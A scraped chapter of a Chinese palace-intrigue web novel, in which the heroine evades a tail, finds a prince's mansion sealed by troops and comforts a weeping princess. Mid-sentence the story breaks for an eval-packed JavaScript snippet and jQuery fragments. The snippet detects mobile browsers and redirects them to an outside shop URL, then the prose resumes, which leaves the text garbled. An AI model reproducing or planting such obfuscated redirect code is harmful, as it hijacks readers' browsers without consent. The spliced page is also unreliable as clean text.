90. 愁思几度(二更)

作品:《曾有青鸟衔枝来

    闻言,莳栖桐向来平静的面色有了一丝裂痕。


    见莳栖梧抬眸而望,而后眉头皱起,莳栖桐立即恢复平静,冷声反问:“他如何,与我何干?”


    说罢,她便提灯远去。


    莳栖梧静立原地,目送着莳栖桐穿过回廊,消失不见。


    小厮轻唤,“公子。”


    莳栖梧才回过神来,他转身朝院中走去,面色却寒凉如水。


    转过连廊,莳栖桐停下了脚步,敛眉沉思。


    皇帝虽不喜洛肃岚,却从未予他任何责罚,如今,为何会反常到大肆责罚?


    申时,莫非,洛肃岚的禁足与掖庭之行有关?


    莳栖桐还来不及深思,便听到一丝微不可察动静。她按兵不动,提灯往栖桐院走去。


    月色朦胧,连花都在沉睡,栖桐院内冷冷清清,了无生息。


    然而莳栖桐却无暇注意,她的精力俱在身后远远跟随的人的身上。那人屏息凝神,脚步轻缓,莳栖桐凝神许久,仍未察出那人所在。


    片刻之后,莳栖桐放弃探查,步入阁中。史云书临行前给她安排了几名暗卫,以确保她的安危。这人能一直潜藏暗处,不为暗卫所察,便可见其功力高强。无论这人有何目的,她亦无所畏惧,无非是兵来将挡,水来土掩。


    洗浴前,莳栖桐展开莳安康给的请帖,瞥见落款“宁”。


    翌日,莳栖桐刚踏出阁中,便感到那道视线,又落在她的身上。她不动声色地环视一圈,并未察觉那人所在。


    竟是如此执着吗?他究竟是何人派来的?


    垂眸许久,莳栖桐首先想到的,便是云舟摄人的眼神。


    不过眼下,是何人跟踪也没有那么重要,她想看看,连莳栖梧都说重兵把守的囚禁会是何样?


    这人原本潜藏暗处,只为监视莳栖桐的行踪。等到莳栖桐坐上马车出行后,这人便立即跟上,一路皆无异常。直到,马车停到了一座酒楼前。


    等这人隐匿身形,进入酒楼时,莳栖桐的身影已混入人群,消失不见。思及主上的刑罚,他心中涌起一丝紧张,焦急地于茫茫人海中寻找。


    而阁楼高处,莳栖桐冷眼将此人身形记住。末了,她挥手令一人上前,便转身离去。


    那人抬头时,恰瞥见莳栖桐的身影正从楼阁栏杆处转身,他急忙朝上层赶去,恰好看见“莳栖桐”走进一间雅阁,他深深舒了口气。


    还未靠近翎王府,莳栖桐便看到巡逻的兵甲在阳光下闪烁着耀眼的光芒。越过巡逻的兵士,莳栖桐看到翎王府大门紧闭。


    情况远比她想象的严重。


    莳栖桐转身离去,没注意到一架驶来的马车上掀开一角的车帘。


    进宫后,迎接莳栖桐的不再是那名熟悉的内侍。这人沉默寡言,不与莳栖桐过多交流,只领着莳栖桐往凤阳宫走去。


    不知为何,莳栖桐觉得今日皇宫的气势格外沉闷。沿途的宫人仍如往常一般,规规矩矩地从事着手上的工作,可莳栖桐却能从她们不经意交汇的眼神中,读到恐惧。


    宫中究竟发生什么了?


    行到凤阳宫,莳栖桐心中怪异的情绪愈发明显。这凤阳宫中宫人明显换了半数,见莳栖桐踏入,她们皆不动声色地将眼神投到莳栖桐身上。若非莳栖桐感官灵敏,定难以察觉这些眼神。


    “栖桐。”洛肃宁站在凤阳殿前,轻声呼唤。


    望向洛肃宁时,莳栖桐眉头不由得蹙紧,她今日,为何立得这般端正?


    分明洛肃宁脸上挂着一如往昔的和煦笑容,可莳栖桐却透过她的笑容,瞥见她心竭力疲的灵魂。


    为何如此?前几日,她不是才在青云台开怀一笑吗?


    莳栖桐拱手一礼,而后快步上前,轻声呼唤:“肃宁。”


    然而她刚开口,便被一个面容冷肃的女官冷冷打断:“大胆!莳女公子怎能呼唤公主名讳?”


    闻言,洛肃宁冷冷瞪了她两眼,便牵着莳栖桐,步入凤阳殿中。


    女官不依不饶,仍想进入殿中,似乎是想训斥莳栖桐。


    但若蒲出手,将她拦在了外面,“公主与莳女公子素来亲厚,自幼便是如此称呼,连陛下与殿下都没有异议,林娘子是想越过他们,对公主颐指气使吗?”


    若蒲此言,当真是完全不客气了。莳栖桐听到林女官冷哼两声,便转身离去。


    莳栖桐本欲询问,但观洛肃宁泛白的脸色,莳栖桐终是住嘴未言。


    洛肃宁恍似没察觉殿中尴尬的气氛,牵着莳栖桐坐到轩窗之前,抬手指向置于一旁的凤首箜篌,“栖桐,为我弹奏一曲吧。”


    莳栖桐点头,坐到一旁,抱起箜篌,轻抚琴弦,奏响一首舒缓的乐曲。


    洛肃宁脸上带着温柔的笑意,眼神却落在远处,完全放空。


    莳栖桐一边抚弦,一边关注着她的神色变化。弦音流转,乐音愈发欢快,洛肃宁却无由落在泪来。


    莳栖桐几度想呼唤,可观洛肃宁仍沉浸在自己的世界中,莳栖桐不惹打断,只继续轻抚音弦,奏出轻快的乐章。


    可等她奏完三曲后,洛肃宁的神魂仍未从游离的状态抽离,莳栖桐放下了手中箜篌,轻声呼唤,“肃宁。”


    闻言,洛肃宁蓦然回神,眼中泪珠滚滚而下。莳栖桐急忙抽出袖中锦帕,轻柔地替她拭去所有泪水。


    洛肃宁嘴角轻扯,似乎是想扯出一个笑容,但她情绪低落,在几度尝试仍失败后,她便放弃了。


    她轻唤一声,似是想说些什么,“栖桐。”但最终,她还是没掩下巨大的悲伤,痛哭出声。


    若不是有极大的悲伤,洛肃宁何时在她眼前有过如此失态?见她这样,莳栖桐仿佛切身体会她的痛苦,心中涌起难言的疼痛。


    她将洛肃宁揽进怀中,却透过层叠的华服,窥见洛肃宁内心的寒凉。


    明明轩窗外阳光明媚,可那么明媚的阳光,却始终未照入洛肃宁心间,驱散些许孤寂冰寒。


    良久,洛肃宁终于停止抽泣,她又深深吸了口气,才对莳栖桐道:“我并无大碍,栖桐莫要担心。”


    可莳栖桐怎能不担心,她明明看到洛肃宁都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828545|185756||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要承受不住这份悲伤的重量了,却还对她展颜一笑。这并不能使她舒心少许,只能说明,洛肃宁所遭遇的,远比她想象中,更为沉重。


    但莳栖桐也知道,此刻她的询问,只会无形给予洛肃宁压力,她轻轻拍了拍洛肃宁的后背,对她道:“既然肃宁都说不让我担心了,我又岂会违逆你的意愿。只是,我虽不能替肃宁分忧,但抚弦一曲,令你欢喜,还是可以的。肃宁,莫要拒绝我。”


    洛肃宁拒绝的话止在嘴边,她默默点了点头,听莳栖桐再度弹奏。


    舒缓的乐曲携带着洛肃宁周身的些许愁绪,飞上云天。但在洛肃宁无言的悲伤中,这不过是杯水车薪。等乐音休止时,洛肃宁仍眼神放空,魂不守舍。


    莳栖桐怀抱箜篌,静坐原地,等洛肃宁自行消化难解的愁绪。


    但当日影偏斜,殿外传来叩门之声,洛肃宁都未缓过神来。


    “公主,公主。”若蒲的声音愈发急促。


    莳栖桐轻声回应后,见洛肃宁仍就失神,莳栖桐伸手在她眼前挥了挥,试图唤回她远走的神思。


    洛肃宁蓦然回神,眼角再度滑落一滴泪水。


    莳栖桐取出锦帕,轻轻替她拭去泪水,轻声询问,“肃宁怎么了?”


    没想到她这一问,洛肃宁泪水如同决堤,滚滚而落。


    “栖桐,我只有你了。”


    洛肃宁的双手牢牢环梏在莳栖桐的脖颈上,似是害怕莳栖桐离她远去。


    莳栖桐轻轻拍了拍她的手,示意她安心。


    “肃宁不必担心,我一直都在。”


    洛肃宁抱住莳栖桐,久久不放,良久,她才缓过神来,对莳栖桐抱歉道:“是我失态了,栖桐勿怪。”


    说罢,她低头避开莳栖桐的眼睛,转身便要离开。


    却不料一双点温热握住了她的手,她转身回头,看见莳栖桐在阳光下熠熠生辉的琥珀双眸。那样明亮的眸子,竟就这般晃了她的神。


    “无论你有什么委屈,尽可全数告知于我。虽然我不一定能为你分忧,但予你一时舒心,未尝不可。”


    清越的声音落入耳中,仿佛清风,吹散她心间重云。


    莳栖桐看到洛肃宁失神的眸子终于回神,她静静凝望着自己,似在思考是否该在自己这里吐露。


    “肃宁,说出来吧。憋在心中久了,不仅不会消解,反倒成为累赘。”


    洛肃宁眸子终于有了光点,因着莳栖桐先前便已拉住她,她便借着这个便利,一把拉起莳栖桐,带着她朝内殿走去。


    跟着洛肃宁进入内殿,率先映入眼帘的,便是一只流光溢彩的小鸟。


    鸟儿被妥善安置在桌案上,透明的身体浸润着初春的绿意,多了几分生息。


    在明亮的阳光之下,鸟儿切割极好的身躯反射着光芒,极为耀眼。


    洛肃宁松开莳栖桐的手,从重重书券中寻出一封信件,递给了莳栖桐。


    信封早已被拆开,显然已被人看过。莳栖桐抬眸再度询问,得到洛肃宁的首肯后,她抽出信件,展开来阅。